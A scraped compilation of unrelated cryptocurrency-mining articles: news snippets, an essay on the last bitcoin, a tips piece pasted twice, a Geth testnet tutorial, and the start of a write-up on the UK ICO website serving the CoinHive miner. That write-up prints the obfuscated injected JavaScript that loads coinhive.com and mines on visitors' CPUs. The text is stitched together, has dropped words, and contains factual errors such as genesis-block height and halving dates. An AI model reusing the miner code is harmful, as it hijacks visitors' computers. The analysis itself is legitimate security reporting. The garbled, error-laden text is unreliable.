As far as GAEA is aware, the bank successfully completed a cross-border proof-of-concept test last Friday, during which Bangkok Bank issued a payment guarantee to Mitsui & Co. Based on this guarantee, SMBC is able to finance receivables in a real-world ...

Minerstat Ravencoin - Bitcoin Silver Coin

The current price of ETC is 7.12, which has risen slightly due to the influence of mainstream currencies. Construction PewDiePie, who has 108 million subscribers on YouTube, also said he invested in cryptocurrencies and NFTs. Youtuber Andrei Jikh, who has ...

How To Mine Ravencoin On Minerstat - Blur Price Prediction

COMPUTEX TAIPEI 2023 will be held at Taipei Nangang Exhibition Hall from May 30th to June 2nd. When Huang Renxun appeared on the stage today, he greeted "Hello everyone" in Chinese as soon as he opened his mouth, and then said We are back (We are back) in English. After nearly 4 years, he finally returned to the COMPTUEX exhibition.

Minerstat Calculator - Shiba Inu Coin Overview

Vortex Brands Co. (OTC: VTXB) has acquired new Bitcoin mining machines as part of its expansion strategy, with the deployment expected to increase the company's hashpower and potentially increase quarterly dividends for shareholders.

Vortex Brands Co. Acquires New Bitcoin Mining Machines and Continues to Expand Hashpower

Vortex Brands Co. Acquires New Bitcoin Mining Machines and Continues to Expand Hashpower May 03, 2023 (PRNewswire via COMTEX) -- PR Newswire DENVER, May

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minerstat

Bitcoin mining rigs have been the Gordian knot tying the price of bitcoin and at the same time deciding the path that crypto adoption process should follow. Considering the history of bitcoin halving, you will notice that miners used to get a bigger slice in revenue as compared to now and that cost is still set to go lower after the upcoming 2020 halving. To make it worse, there is a finite number of bitcoins that can be mined ( ) which puts a timeline for when the last bitcoin will be mined to 2140. 21 million When a crypto enthusiast intellectualizes all this information, it can bring about pain-points which if not addressed, can cause a negative ripple in the crypto market. Let’s face it, many people didn’t accept cryptocurrencies initially because first, it’s an unknown financial entity, and second, its usability was complex. However, after presenting remarkable perks, people became drawn to its technology and have made an effort to understand  mechanisms. Winter came for the in May 2020, the rewards for each bitcoin mined. On the other hand, the crypto community has started becoming wary of what happens to Bitcoin when the last one is mined. bitcoin miners halving This information is confusing, especially to people who have just adopted cryptocurrency. Luckily, by the end of this piece, you will have a better understanding as you will have a clear view of the future of bitcoin. What will Happen to the Miners? The datum that Bitcoin has a finite supply is a fact that doesn’t go well with miners. The debate on how miners will fare on after the 21 million Bitcoins have been mined has been going on in the crypto space for quite some time now. With the exhaustion of the Bitcoin reserves, miners will lose their block rewards and will need to resort to other ways of earning with bitcoin. The question of whether mining will still be a profitable venture has had critics harp on the future of miners. With no more block rewards, miners will have to rely on transaction fees to keep themselves financially afloat. The over-reliance on transactional fees over block rewards will undoubtedly make mining extremely unaffordable and could lead to a decrease of miners, a possible centralization of the network by “ ” as well as a complete collapse of the Bitcoin network. Bitcoin whales Bear with me here, even as of now, mining Bitcoin is ridiculously expensive due to the high cost of specialized, high-powered machinery besides power. Analysts from JPMorgan Chase& Co. have established that the cost of mining a single bitcoin outweighs the actual value of the bitcoin itself. And with the next event set to occur in less than a year, block rewards will be cut by half (6.25 BTC) leading to a significant reduction in revenue from mining. bitcoin halving Initially, the reward for mining a block was 50 Bitcoins, then it dropped to 25 Bitcoins in 2012, then dropped again to 12.5 Bitcoins in 2019. In 2020, the reward of mining Bitcoin will be 6.25. The overall effect is that the transaction fees may be too little to keep miners afloat and therefore will be forced out of business especially if they are small scale miners. Nonetheless, this may not be the case scenario due to several well-speculated reasons. First, with the rapid advancement in technology witnessed over the past century, the coming years could see significant progress in mining technology. A dedicated small and affordable mining chip would be invented, thus substantially lowering the cost of mining and in turn, increasing profitability. Additionally, mining hardware would be energy efficient, significantly cutting on extreme energy expenses and increasing revenue. Specialized mining hardware such as application-specific integrated circuits (ASICs) has already been developed to simplify the mining process as discussed below. In the second possible case scenario, the transaction fees could rise to a level sufficient to keep miners financially afloat. With the exhaustion of the bitcoin reserves, the supply will decrease, coupled with an increase in demand. Bitcoin will gain a substantial value, and the transaction cost may just be enough for miners to survive. ASICs Revolutionizing Bitcoin Mining The current technology used in bitcoin mining is ASIC (application-specific integrated circuit) having evolved from GPUs (graphics processing unit) and later on FPGAs (field-programmable gate array) mining. ASICs have been developed specifically to mine bitcoin and are very effective. Bitcoin mining is an intensively competitive activity, and its difficulty increases over time. Mining nodes compete with each other to be the first to complete a block transaction and add it to the growing block. You, therefore, need a dedicated bitcoin mining hardware, ASICs to stay ahead of the competition. For miners, mean a substantial rise in mining revenue as they can mine BTC at a higher hash rate than CPUs, GPUs, and FPGAs. A good software that is handling ASIC management ahead of its competitors is minerstat’s ASIC Hub. ASICs What will happen to Bitcoin’s price? Currently, close to 17.3 million Bitcoin have been , representing a volume of $20.14B and a market cap of $ 173.54B. This means that close to 3.7 million BTC is left to be mined before the 21 million BTC supply is reached. mined The actual bitcoin in circulation is way below the 17.3 million mark attributed to close to 4 million BTC which are permanently lost due to loss of private keys or death of owners. The last bitcoin is expected to be mined in 2140, where the block reward would be below 1 Satoshi. The question of BTC price is of great concern to most miners. Will the price of bitcoin increase or decrease? To effectively answer this question, it’s best that we delve deep into Bitcoin evolution involving SegWit and Lighting networks. SegWit and Lighting network Revisited SegWit (Segregated Witness) refers to a protocol upgrade that involves increasing the block size limit on a blockchain by removing signature data from bitcoin transactions. was released in 2015 but implemented on Bitcoin in August 2017. SegWit code The primary function of SegWit is to separate non-signature data from signature data on each transaction, thus reducing transaction sizes stored on a block. SegWit also eliminates transaction malleability on the Bitcoin network by removing signatures from transactional data, thus paving the way for the integration of the lighting network integration. Lighting network refers to a “Layer 2” payment protocol that operates on the Bitcoin blockchain. adds another layer on the Bitcoin’s blockchain, enabling users to create payment channels between any two parties connected by the extra layer. Lightning network The lightning network makes fast transactions possible between the participating nodes. SegWit, together with the Lighting Network, irons out bitcoin issues and allows the platform to process millions of transactions per second. Before SegWit and Lighting network implementation, the 1MB block size protocol restricted bitcoin transactions to 7 per second, which significantly limited Bitcoin’s potential growth to become an efficient, widely adopted payment system. scalability How the Evolution of Bitcoin affects its Pricing As aforementioned, the implementation of SegWit and Lighting network eliminates scalability issues on the bitcoin platform, ensuring smooth, quick transactions and significantly improving its . But this is not promising to bitcoin miners especially after 21 million bitcoins have been mined. market value The exhaustion of Bitcoin reserves will mean miners will solely earn through transactions fees instead of block rewards. And with the full integration of the lighting network, there could be far fewer transactions being recorded on the platform daily leading to a substantial decrease in revenue earned by miners. With a substantial deep in revenue, miners would certainly not be willing to at a lower price(loss), and therefore, the price of BTC will surge. sell Bitcoin However, with such evolution, the price of bitcoin has continually dropped. Since the start of 2018 and into the early phase of 2020, the price to has declined from a high of nearly $20,000 to approximately $ 4,000  representing a 80% decline and one of the all-time lows. buy Bitcoin For miners, there are that determine whether they are making a profit: all-in ROI breakeven level and cash-cost breakeven level. Once these two factors are negative, it doesn’t make sense to continue mining bitcoin as it will now be a total loss. Bitcoin prices Conclusion Currently, block rewards constitute new bitcoins and will half after every four years until 21 million bitcoins have been mined by the year 2140. The falling profit margin either due to the evolution of bitcoin, halving events as well as the final exhaustion of bitcoin reserves presents a challenge to miners who are uncertain of the future. Transaction fees will be the only means in which miners may stay financially relevant in the mining industry. Whether these transaction fees would become valuable enough to encourage miners to keep mining is inevitably uncertain as there are two sides to the coin. The evolution in bitcoin platform, including protocols such as SegWit and Lighting network, could mean a decrease in the daily recorded transaction and consequently a reduction in transaction fees. But with the exhaustion of bitcoin reserves, the demand for bitcoin could unimaginably get higher as compared to the supply leading to a ridiculously high market price as well as a higher transaction fees to encourage mining. Nonetheless, with more than 100 years to go until the last bitcoin is mined, a lot could happen in between to incentivize miners to maintain the network. Who knows, Satoshi Nakamoto might even decide to change the consensus governing bitcoin to keep the network afloat.

What Happens When the Last Bitcoin is Mined?

The mining of Bitcoin and other cryptocurrencies is an industry with its ups and downs. Mining profit is always changing. Factors such as network difficulty, fluctuating prices, and Halvings are constantly changing the mining revenue. What makes it even more complicated is that these factors have a different impact on each mining machine! Given that the return of capital in Mining usually takes between 6 months to two years, and in this period the mining conditions will change rapidly and may disturb your calculations, we hereby describe the best strategies for earning a good profit out of it. 1. If you do not have access to cheap electricity, you are doing risky work Electricity cost is the most important factor in the mining industry and has a determining role in whether mining is profitable or not. Each time the price of the coin drops significantly or its network difficulty increases, a lot of its miners lose their profitability. If your electricity and maintenance costs are high, you are among the first groups to lose. Instead, miners consuming cheap electricity are always in a safe and profitable zone. A vast range of miners now has access to 0.03 to 0.04 USD per kilowatt in countries such as China, Russia, Georgia, etc. If the price of your electricity is much higher than these numbers, then you are exposed to high risks. 2. Keep upgrading your devices to more energy-efficient ones Bitcoin’s difficulty has almost always grown faster than its price, even in the bull market. Which means mining revenue, in general, is always decreasing. Bitcoin’s price jumped from $ 220 in August 2015 to $ 19500 in December 2017, about 89 times. But the amazing point is that the difficulty of the network has increased 120 times in the same period! This means when Bitcoin was $ 200, mining was more profitable than when it was $ 19500! Bitcoin price chart vs network difficulty chart In order not to lose in this marathon, always spend some of your profit on replacing older mining devices by acquiring newer and more energy-efficient ones. 3. Buy mining devices when Bitcoin price is in retracement The price of mining devices is highly dependent on the price of cryptocurrencies. When Bitcoin reached $ 3,000 by the end of 2018, the price of ASIC miners fell sharply, even more than bitcoin, and provided the best opportunity to buy miners. Again when bitcoin jumped from $ 3,000 to $ 14,000 in June 2019, miner prices jumped more than six times. 4. Don’t overlook BCH and BSV The BCH and BSV mining algorithms are similar to the Bitcoin’s, SHA256. Sometimes mining these currencies is more profitable than Bitcoin. For example, at the time of writing this article, every 1 Terahash could generate $ 0.175 in 24 hours from bitcoin mining, while it can generate $ 0.181 by mining BSV, 3.5% more. But the difference is even greater if we subtract the cost of electricity from the mining income. Suppose you have an S17 53 Terahash Miner with a 2400 Watts PSU and you pay $ 0.06 per kWh. So subtracting electricity cost, the miner generates $ 5.82 revenue per day if mining Bitcoin and $ 6.14 per day while mining BSV, which is 5.5% more. This difference is more on older and less efficient devices. However, given the fluctuations in the prices of these currencies, the most profitable currency is switching very often. Some applications automatically switch the miner to mine the most profitable currency. Awesome Miner and Minerstat are some examples of these apps. Also some mining pools like Poolin support hash rate auto switch. 5. Keep an eye on Halving In May 2020, the third Halving of bitcoin will occur and the mining bonus will be reduced from 12.5 bitcoin per 10 minutes to 6.25 bitcoin. This will outdate many mining devices. A miner that is profitable today may not be profitable after Halving. More energy-efficient miners will experience less damage from Halving. However, some risky miners invest in cheaper devices that consume more energy with a shorter return period, earn their original capital before Halving and buy new energy-efficient devices after Halving. This is a clever yet risky action. 6. Mining Altcoins can be more beneficial but it is also riskier Altcoins are much more volatile than bitcoin, so research well on their future before buying their mining equipment. It is best not to invest all your capital in mining one Altcoin. The value of some Altcoins fell by 99% in 2018! Some Altcoins are against ASIC miners and try to outdate ASIC miners by changing algorithms. Price decreasing or Halving of an Altcoin affects the mining of other Altcoins with the same algorithm. For example, Litecoin, Verge, Digibyte, Doge and several other currencies use the Scrypt algorithm. Litecoin currently owns most of the Scrypt hash rate. Litecoin’s Halving happened in August 2019, and its mining profitability suddenly halved. This led the miners to switch from Litecoin to other Scrypt algorithm currencies and increase the difficulty of their networks greatly. I do not like GPU mining rigs and think they will be outdated as CPU did. While not very profitable right now, GPU mining is generally not as easy as ASIC mining. 7. Have a strategy for selling mined currencies or convert them into promising currencies To get the most out of the mining you need to have a clear strategy for when and how to sell the mined currencies and pay the maintenance costs. This requires researching currencies, their futures, and their price analysis and have at least some technical analysis information. You can hold them or convert them into more promising currencies and sell them at a higher price at the right time to make more profit from your mining. Or vice versa if you’re in the bear market, sell ​​the mined coins as soon as possible. 8. Don’t be fooled by mining calculators Many websites calculate mining profit based on your hardware and your electricity price. If you have never experienced mining before, you might be thrilled to see the numbers these sites and calculators provide and hence think “I’ll be rich!”. But here’s what those websites don’t tell you: You will probably have other current costs in addition to electricity costs such as maintenance, cooling, renting, manpower, etc.Usually, the hash rate and power consumption of the devices are slightly different from what the factory says. This difference is more common in unpopular brands such as Ebang, Strong, Aixin, etc. You can get a better insight into real hash rates and their actual power consumption by watching Miner Test videos on YouTube. Besides, up to 200 watts of power loss can occur from the electricity meter to the device depending on the distance from the device to the meter and the type of cable used. In addition to the cost of the mining device, there are also some initial costs to pay for preparing the infrastructure like cooling and exhaust, electrical cabling & switching, shelving, networking & monitoring equipment, security, etc. The network difficulty is constantly changing and increasing at a significant rate, which has a direct impact on mining revenue. Take a look at the bitcoin network difficulty chart to see how rapid it is growing.Your miner will not be active 100% of the time. For maintenance, internet problems, mining pool problems, electrical problems, and many other ones, miners may get offline for some hours. I suggest considering miner uptime below 97% in your calculations. We have experienced mining in professional farms. They too have no more than 97–98% uptime. Create your own Excel and take into account all of the items that influence mining. I’ve made one for example. You can view it here: https://docs.google.com/spreadsheets/d/1rUfoEZmeoSjnRMCjQWezETfT84ClKkuXkDtVPRmn0c8/edit?usp=sharing Last words It is not always easy to profit from mining, but it doesn’t mean it’s not worth it. If you want to do it or are doing it, you will need to complete your information and plan for the future. Enter the market at the right time, buy the mining machine at the right time. Be aware of its risks and how to deal with them. Start on a small scale. You may even have to get out of the game some time, sell your devices and wait for another suitable time to enter! The mining of Bitcoin and other cryptocurrencies is an industry with its ups and downs. Mining profit is always changing. Factors such as network difficulty, fluctuating prices, and Halvings are constantly changing the mining revenue. What makes it even more complicated is that these factors have a different impact on each mining machine! Given that the return of capital in Mining usually takes between 6 months to two years, and in this period the mining conditions will change rapidly and may disturb your calculations, we hereby describe the best strategies for earning a good profit out of it. 1. If you do not have access to cheap electricity, you are doing risky work Electricity cost is the most important factor in the mining industry and has a determining role in whether mining is profitable or not. Each time the price of the coin drops significantly or its network difficulty increases, a lot of its miners lose their profitability. If your electricity and maintenance costs are high, you are among the first groups to lose. Instead, miners consuming cheap electricity are always in a safe and profitable zone. A vast range of miners now has access to 0.03 to 0.04 USD per kilowatt in countries such as China, Russia, Georgia, etc. If the price of your electricity is much higher than these numbers, then you are exposed to high risks. 2. Keep upgrading your devices to more energy-efficient ones Bitcoin’s difficulty has almost always grown faster than its price, even in the bull market. Which means mining revenue, in general, is always decreasing. Bitcoin’s price jumped from $ 220 in August 2015 to $ 19500 in December 2017, about 89 times. But the amazing point is that the difficulty of the network has increased 120 times in the same period! This means when Bitcoin was $ 200, mining was more profitable than when it was $ 19500! Bitcoin price chart vs network difficulty chart In order not to lose in this marathon, always spend some of your profit on replacing older mining devices by acquiring newer and more energy-efficient ones. 3. Buy mining devices when Bitcoin price is in retracement The price of mining devices is highly dependent on the price of cryptocurrencies. When Bitcoin reached $ 3,000 by the end of 2018, the price of ASIC miners fell sharply, even more than bitcoin, and provided the best opportunity to buy miners. Again when bitcoin jumped from $ 3,000 to $ 14,000 in June 2019, miner prices jumped more than six times. 4. Don’t overlook BCH and BSV The BCH and BSV mining algorithms are similar to the Bitcoin’s, SHA256. Sometimes mining these currencies is more profitable than Bitcoin. For example, at the time of writing this article, every 1 Terahash could generate $ 0.175 in 24 hours from bitcoin mining, while it can generate $ 0.181 by mining BSV, 3.5% more. But the difference is even greater if we subtract the cost of electricity from the mining income. Suppose you have an S17 53 Terahash Miner with a 2400 Watts PSU and you pay $ 0.06 per kWh. So subtracting electricity cost, the miner generates $ 5.82 revenue per day if mining Bitcoin and $ 6.14 per day while mining BSV, which is 5.5% more. This difference is more on older and less efficient devices. However, given the fluctuations in the prices of these currencies, the most profitable currency is switching very often. Some applications automatically switch the miner to mine the most profitable currency. Awesome Miner and Minerstat are some examples of these apps. Also some mining pools like Poolin support hash rate auto switch . Awesome Miner Minerstat Poolin hash rate auto switch 5. Keep an eye on Halving In May 2020, the third Halving of bitcoin will occur and the mining bonus will be reduced from 12.5 bitcoin per 10 minutes to 6.25 bitcoin. This will outdate many mining devices. A miner that is profitable today may not be profitable after Halving. More energy-efficient miners will experience less damage from Halving. However, some risky miners invest in cheaper devices that consume more energy with a shorter return period, earn their original capital before Halving and buy new energy-efficient devices after Halving. This is a clever yet risky action. 6. Mining Altcoins can be more beneficial but it is also riskier Altcoins are much more volatile than bitcoin, so research well on their future before buying their mining equipment. It is best not to invest all your capital in mining one Altcoin. The value of some Altcoins fell by 99% in 2018! Some Altcoins are against ASIC miners and try to outdate ASIC miners by changing algorithms. Price decreasing or Halving of an Altcoin affects the mining of other Altcoins with the same algorithm. For example, Litecoin, Verge, Digibyte, Doge and several other currencies use the Scrypt algorithm. Litecoin currently owns most of the Scrypt hash rate. Litecoin’s Halving happened in August 2019, and its mining profitability suddenly halved. This led the miners to switch from Litecoin to other Scrypt algorithm currencies and increase the difficulty of their networks greatly. I do not like GPU mining rigs and think they will be outdated as CPU did. While not very profitable right now, GPU mining is generally not as easy as ASIC mining. 7. Have a strategy for selling mined currencies or convert them into promising currencies To get the most out of the mining you need to have a clear strategy for when and how to sell the mined currencies and pay the maintenance costs. This requires researching currencies, their futures, and their price analysis and have at least some technical analysis information. You can hold them or convert them into more promising currencies and sell them at a higher price at the right time to make more profit from your mining. Or vice versa if you’re in the bear market, sell ​​the mined coins as soon as possible. 8. Don’t be fooled by mining calculators Many websites calculate mining profit based on your hardware and your electricity price. If you have never experienced mining before, you might be thrilled to see the numbers these sites and calculators provide and hence think “I’ll be rich!”. But here’s what those websites don’t tell you: You will probably have other current costs in addition to electricity costs such as maintenance, cooling, renting, manpower, etc.Usually, the hash rate and power consumption of the devices are slightly different from what the factory says. This difference is more common in unpopular brands such as Ebang, Strong, Aixin, etc. You can get a better insight into real hash rates and their actual power consumption by watching Miner Test videos on YouTube. Besides, up to 200 watts of power loss can occur from the electricity meter to the device depending on the distance from the device to the meter and the type of cable used. In addition to the cost of the mining device, there are also some initial costs to pay for preparing the infrastructure like cooling and exhaust, electrical cabling & switching, shelving, networking & monitoring equipment, security, etc. The network difficulty is constantly changing and increasing at a significant rate, which has a direct impact on mining revenue. Take a look at the bitcoin network difficulty chart to see how rapid it is growing.Your miner will not be active 100% of the time. bitcoin network difficulty chart For maintenance, internet problems, mining pool problems, electrical problems, and many other ones, miners may get offline for some hours. I suggest considering miner uptime below 97% in your calculations. We have experienced mining in professional farms. They too have no more than 97–98% uptime. Create your own Excel and take into account all of the items that influence mining. I’ve made one for example. You can view it here: https://docs.google.com/spreadsheets/d/1rUfoEZmeoSjnRMCjQWezETfT84ClKkuXkDtVPRmn0c8/edit?usp=sharing https://docs.google.com/spreadsheets/d/1rUfoEZmeoSjnRMCjQWezETfT84ClKkuXkDtVPRmn0c8/edit?usp=sharing Last words It is not always easy to profit from mining, but it doesn’t mean it’s not worth it. If you want to do it or are doing it, you will need to complete your information and plan for the future. Enter the market at the right time, buy the mining machine at the right time. Be aware of its risks and how to deal with them. Start on a small scale. You may even have to get out of the game some time, sell your devices and wait for another suitable time to enter!

8 Tips on Keeping Your Bitcoin Mining Gig Profitable in the Long Run

Is it still viable for the retail investor to mine? While everyone has been focused on the constant price movements of Bitcoin and other Cryptocurrencies, mining is a topic that has rarely been mentioned in recent times. And for good reason. Mining was no longer profitable during the year-long bear market of 2018, with Bitmain, one of the mining companies, . firing 50% of its workforce The retail investor was better off buying Bitcoin on the secondary market than joining mining pools to get Bitcoin. Altcoin prices were dropping relatively faster than Bitcoin, and mining them was even more unattractive. Looking back, had you mined Bitcoin or select Altcoins during the bear market, you would have made substantial gains if you sell your tokens now. While hindsight is always 20/20, where does the retail investor stand now with mining? Read on to find out! What Is Mining? Before we look into the profitability of mining, let us recap what is. Bitcoin mining The results of mining are two-fold. Firstly, mining releases more Bitcoins to the miners for each block mined, depending on the time of mining. Releasing new Bitcoins to miners who successfully mined a block is a form of incentive for miners to continue putting in resources to mine. Secondly, mining secures the Bitcoin network by verifying transactional information through solving computational math problems. Hackers will have to hack into 51% of the mining network to take over the Bitcoin network. As a massive amount of computational power is required to take over a network, the Bitcoin Blockchain has not been hacked before. The Current State Of Mining Mining secures the network, miners get rewarded for their services and are incentivized to continue mining. The network is secured as long as miners continue mining. This cycle ensures that mining is a key component in Blockchain and will remain so in the future. However, mining is expensive, especially if you are a retail investor with limited resources to invest. In addition, Bitcoin mining is the most expensive. Increasingly Difficult To Mine Bitcoin As seen in the snapshot below, the difficulty of mining a block has steadily increased over the past 6 months. Image was taken from Blockchain.com The bullish run of Bitcoin in the year 2019 has contributed to the increase in mining activity. Furthermore, the mining difficulty is adjusted based on the amount of computing power in the network. This increases the level of mining difficulty as more computers join the network. Therefore Bitcoin mining for the retail investor is (most likely) no longer profitable and will be less so as the price continues to increase. Mining Altcoins In 2019 “Altcoins”, a term used to refer to Cryptocurrency other than Bitcoin has faced a harsher year than Bitcoin. We see few altcoins recovering at the same levels as Bitcoin. This has generally led to lower levels of interest in mining altcoins, as Bitcoin continues to dominate the market capitalization of the industry. Moreover, many altcoins have insufficient trading volume, making it difficult to cash out profits after mining. “Be fearful when others are greedy, and greedy when others are fearful” In any bear market, there are always undervalued assets whose prices drop together with the rest of the market. Altcoins are no exception. By choosing the correct altcoins to mine, profits can still be made. Possible Mining Solutions Use Monitoring Solutions Different altcoins have a different set of factors that affect mining profitability. However, there are a common set of factors that we can monitor to maximize profits from mining altcoins, such as the following. Market Price Trading Volume Mining Algorithm Hashrate Charts Power Consumption And many others that have not been listed here! Sounds complicated? To make your life easier, it is recommended to use a monitoring solution that helps to monitor all these metrics and present them in a single dashboard. One such solution is , where you can calculate the profitability of mining particular altcoins with their . There are many other similar solutions in the market that you can explore as well. minerstat mining calculator Number Of Exchanges Listed On It is no use mining a large number of tokens if you cannot sell them for a profit. When choosing an altcoin to mine, it is important to note which exchange has listed this token and on how many exchanges is this token listed on. Exchanges that have a history of “pump and dump” should be approached with caution, as the tokens that you mined may be close to worthless over a short period of time. Furthermore, tokens that are solely listed on Decentralized Exchanges have low liquidity in general. Hence listing on Centralized Exchanges is still the better option. In Conclusion Selecting an altcoin to mine is not an exact science. There is a multitude of factors to consider in addition to those mentioned above, such as their Whitepaper, the project team and their community size. Even if a project fares well when measured against these factors, the market may not respond accordingly. While mining for Bitcoin is still the closest option a retail investor has to secure a profit, the current price increases require you to be more resourceful. However, one thing is for sure. Mining is still here to stay and will continue to stay in the future.

Is Crypto-Mining Still Profitable?

If you’re new to the sphere and want to get a hands-on feel of this ground-breaking yet a-tad-bit arcane , this tutorial is for you. blockchain technology This will be a comprehensive step-by-step tutorial for you to get started with Ethereum blockchain. So, don’t worry I will cover each and every step. Source: https://tenor.com/ What will we build? A local testnet Ethereum blockchain using Geth. This blockchain will be running only on your computer (formally, node) locally. Local: : This will not mine real Ethers. Only fake ones. It is perfect for testing dApps, or for just playing around. Testnet Prerequisites MacOS Homebrew (Download link: ) https://brew.sh/ XCode (Get from AppStore) Setting Up Development Environment Step 0: Download Geth using Homebrew Fire up your terminal and enter the following command. Make sure you already have Homebrew installed, otherwise this command will not work for you. $ brew tap ethereum/ethereum This command will clone Ethereum repo into your Library folder on Mac. To install geth, run the following command: $ brew install ethereum Viola, geth is intalled. Before going any further, let me clear what Geth is is the the command line interface for running a full ethereum node implemented in Go. You can mine real ether (if you’re on mainnet), transfer funds between addresses, create smart contracts, make transactions, explore the chain, use Web3 etc. geth To know more, see this resource: _Official Go implementation of the Ethereum protocol - ethereum/go-ethereum_github.com ethereum/go-ethereum Let’s get crackin’ baby! Genesis Block, The Special Block Every blockchain has a genesis block, that is the first block. Height of this block is 1. It does not hold any transactions. All later blocks get appended to this block. You can view Ethereum’s mainnet genesis block here: https://etherscan.io/block/0 For our testnet, we have to create the genesis block. Tool used to create genesis block: puppeth Step 1: Create Genesis block Make any directory in which you want to store your blockchain data. $ mkdir -p ethereum-tutorial && cd ethereum-tutorial Make a folder inside this directory and into it. private cd $ mkdir -p private && cd private Open up your terminal and write following command: $ puppeth Something like this should come up and you will be asked to . Enter the name of your blockchain. I used You can use any name. specify a network name to administer niharikatestnet. A series of questions would be asked. Keep answering. Finally, exit the puppeth interface by using control + c. If you now read the contents in private folder you will see multiple files. We’ll be interested in niharikatestnet.json Step 2: Initialise the genesis block It’s time to create and for local blockchain. will store all data related to blockchain and will store private keys associated with accounts on the blockchain. chaindata keystore chaindata keystore Using terminal enter the following command: $ geth --datadir ~/ethereum-tutorial/private init niharikatestnet.json Woohoo! Successfully wrote genesis state. You should see and folders. chaindata keystore Step 3: Creating accounts We need to create accounts on this blockchain to play around with it. $ geth --datadir . account new For each account you create, you have to enter a password to access that account. Enter password of your choice. You will get a unique address for the account. Let’s create 2 more accounts using the same process. So, to view all the accounts we have created: $ geth --datadir . account list Step 4: Write a Shell Script to Start Blockchain In any text editor, create a file named in folder. startnode.sh private geth --networkid 4224 --mine --minerthreads 1 --datadir "~/Desktop/Playground/ethereum-tutorial/private" --nodiscover --rpc --rpcport "8545" --port "30303" --rpccorsdomain "*" --nat "any" --rpcapi eth,web3,personal,net --unlock 0 --password ~/ethereum-tutorial/private/password.sec --ipcpath "~/Library/Ethereum/geth.ipc" Make sure you write all of this in one line. Create another file named in folder. password.sec private Enter the password for the first account you created and save it. To make this script executable, in your terminal write: $ chmod +x startnode.sh Execute this script: $ ./startnode.sh This will start a never-ending output. This is blockchain. Our blockchain has started. Wait for all the DAGs to get generated. In the middle you may see mining taking place. This will put fake ethers in the first account. Step 5: Connect to running geth Let’s get connected with this geth node. On another tab in terminal, run the command. $ geth attach You will enter into the Geth Javascript console. Here, you can run JavaScript code. This means you’ve successfully connected! Yay! Source: https://tenor.com/ Step 6: Query the blockchain Let’s see what all accounts are present on this blockchain. > eth.accounts This will show the 3 accounts we created earlier. To get balance of the accounts: > eth.getBalance(eth.accounts[0]) This will show balance in Wei. To convert this in Ether, do this: > web3.fromWei(eth.getBalance(eth.accounts[0]), "ether") Info: Stop Mining or Start Mining If you wish to stop mining process: $ miner.stop() If you wish to start mining process: $ miner.start() Step 7: Make transactions Let’s send some ethers from one account to another. We will send ethereum from coinbase account (the account that is mining ethers) to any of the other 2 accounts. > eth.sendTransaction({from: eth.coinbase, to: eth.accounts[1], value: web3.toWei(10, "ether")}) This will return transaction hash. Now let’s get balance of 2nd account. > web3.fromWei(eth.getBalance(eth.accounts[1]), "ether") Now if you switch back to the tab where blockchain is running, you will see a transaction. Since JavaScript is being executed on the Geth console, you can even deploy smart contracts on it. This is the end to this tutorial. :) Hope you had a smooth experience.

Hands On: Creating Your Own Local Private Geth Node (Beginner Friendly)

This weekend the UK’s Information Commissioner’s Office website — ICO ( ) was caught serving the CoinHive crypto miner to its users. CoinHive crypto miner is a JavaScript that can be installed in any website for mining crypto (e.g. Monero — XMR). https://ico.org.uk/ Obviously, this wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise to a 3rd party provider, TextHelp, used in ICO’s website. This was flagged by — securityheaders.io and report-uri.com founder — after a tip from , another security expert. Scott Helme Ian Trump The Attack ICO’s website was loading this file: , and that’s where the problem starts. By loading a JavaScript straight from a 3rd party website like this, they are basically opening the door for injection attacks. And it’s not a matter of trusting the 3rd party provider or not, as they can unknowingly be compromised, allowing the attackers to use it as a vehicle for the injection. https://www.browsealoud.com/plus/scripts/ba.js This was the bit that was added to the ba.js script: window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); The code has a very light obfuscation that just uses Subscript Notation to transform into - and subsequently String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code. window.document.write window[‘document’][‘write’] Here is a 